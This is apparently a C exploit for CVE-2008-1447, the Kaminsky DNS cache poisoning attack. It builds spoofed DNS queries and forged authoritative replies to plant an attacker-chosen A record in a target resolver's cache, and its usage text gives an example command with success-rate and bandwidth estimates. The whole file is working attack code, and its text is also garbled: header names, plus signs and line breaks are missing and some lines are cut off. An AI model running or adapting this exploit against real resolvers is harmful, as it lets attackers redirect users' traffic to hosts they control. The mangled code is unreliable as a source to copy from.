/*

* Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack

*

* Compilation:

* $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm

*

* Dependency: libdnet (aka libdumbnet-dev under Ubuntu)

*

* Author: marc.bevand at rapid7 dot com

*/

#define _BSD_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define DNSF_RESPONSE (1 end)

fprintf(stderr, "dns_response overflow"), exit

(1);

memcpy(out *len, rec, l_rec); *len = l_rec;

}

unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)

{

unsigned len = 0;

// ip

struct ip_hdr *ip = (struct ip_hdr *)buf;

ip->ip_hl = 5;

ip->ip_v = 4;

ip->ip_tos = 0;

ip->ip_id = rand() & 0xffff;

ip->ip_off = 0;

ip->ip_ttl = IP_TTL_MAX;

ip->ip_p = 17; // udp

ip->ip_sum = 0;

struct addr addr;

if (addr_aton(srcip, &addr) < 0)

fprintf(stderr, "invalid source IP: %s", srcip), exit

(1);

ip->ip_src = addr.addr_ip;

if (addr_aton(dstip, &addr) < 0)

fprintf(stderr, "invalid destination IP: %s", dstip), exit

(1);

ip->ip_dst = addr.addr_ip;

// udp

struct udp_hdr *udp = (struct udp_hdr *)(buf IP_HDR_LEN);

udp->uh_sport = htons(1234);

udp->uh_dport = htons

(53);

// dns

dns_query(buf IP_HDR_LEN UDP_HDR_LEN,

(unsigned)(sizeof (buf) - (IP_HDR_LEN UDP_HDR_LEN)), &len,

rand(), DNSF_REC_DESIRED, name);

// udp len

len = UDP_HDR_LEN;

udp->uh_ulen = htons(len);

// ip len & cksum

len = IP_HDR_LEN;

ip->ip_len = htons(len);

ip_checksum(buf, len);

return len;

}

unsigned build_response(u_char *buf, const char *srcip, const char *dstip,

uint16_t port_resolver, uint16_t txid,

const char *q_name, const char *q_ip,

const char *domain, const char *auth_name, const char *auth_ip)

{

unsigned len = 0;

// ip

struct ip_hdr *ip = (struct ip_hdr *)buf;

ip->ip_hl = 5;

ip->ip_v = 4;

ip->ip_tos = 0;

ip->ip_id = rand() & 0xffff;

ip->ip_off = 0;

ip->ip_ttl = IP_TTL_MAX;

ip->ip_p = 17; // udp

ip->ip_sum = 0;

struct addr addr;

if (addr_aton(srcip, &addr) < 0)

fprintf(stderr, "invalid source IP: %s", srcip), exit

(1);

ip->ip_src = addr.addr_ip;

if (addr_aton(dstip, &addr) < 0)

fprintf(stderr, "invalid destination IP: %s", dstip), exit

(1);

ip->ip_dst = addr.addr_ip;

// udp

struct udp_hdr *udp = (struct udp_hdr *)(buf IP_HDR_LEN);

udp->uh_sport = htons

(53);

udp->uh_dport = htons(port_resolver);

// dns

dns_response(buf IP_HDR_LEN UDP_HDR_LEN,

(unsigned)(sizeof (buf) - (IP_HDR_LEN UDP_HDR_LEN)), &len,

txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,

q_name, q_ip, domain, auth_name, auth_ip);

// udp len

len = UDP_HDR_LEN;

udp->uh_ulen = htons(len);

// ip len & cksum

len = IP_HDR_LEN;

ip->ip_len = htons(len);

ip_checksum(buf, len);

return len;

}

void usage(char *name)

{

fprintf(stderr, "Usage: %s "

" n"

" Source IP used when sending queries for random hostnamesn"

" (typically your IP)n"

" Target DNS resolver to attackn"

" One of the authoritative DNS servers for n"

" Source port used by the resolver when forwarding queriesn"

" Poison the cache with the A record .n"

" Domain name, see .n"

" IP of your choice to be associated to .n"

" Number of poisoning attemps, more attempts increase then"

" chance of successful poisoning, but also the attack timen"

" Number of spoofed replies to send per attempt, more repliesn"

" increase the chance of successful poisoning but, but alson"

" the rate of packet lossn"

"Example:n"

" $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned . 1.1.1.1 8192 16n"

"This should cause a A record resolving to 1.1.1.1 to appearn"

"in r.r.r.r's cache. The chance of successfully poisoning the resolver withn"

"this example (8192 attempts and 16 replies/attempt) is 86%%n"

"(1-(1-16/65536)**8192). This example also requires a bandwidth of aboutn"

"2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *n"

"8 bits/byte) and takes about 80 secs to complete (8192 attempts /n"

"100 attempts/sec).n",

name, name);

}

int main(int argc, char **argv)

{

if (argc != 10)

usage(argv[0]), exit

(1);

const char *querier = argv[1];

const char *ip_resolver = argv[2];

const char *ip_authoritative = argv[3];

uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);

const char *subhost = argv[5];

const char *domain = argv[6];

const char *anyip = argv[7];

uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);

uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);

if (domain[strlen(domain) - 1 ] != '.')

fprintf(stderr, "domain must end with dot(.): %sn", domain), exit

(1);

printf("Chance of success: 1-(1-%d/65536)**%d = %.2fn", replies, attempts, 1 - pow((1 - replies / 65536.), attempts));

srand(time(NULL));

int unique = rand() (rand()

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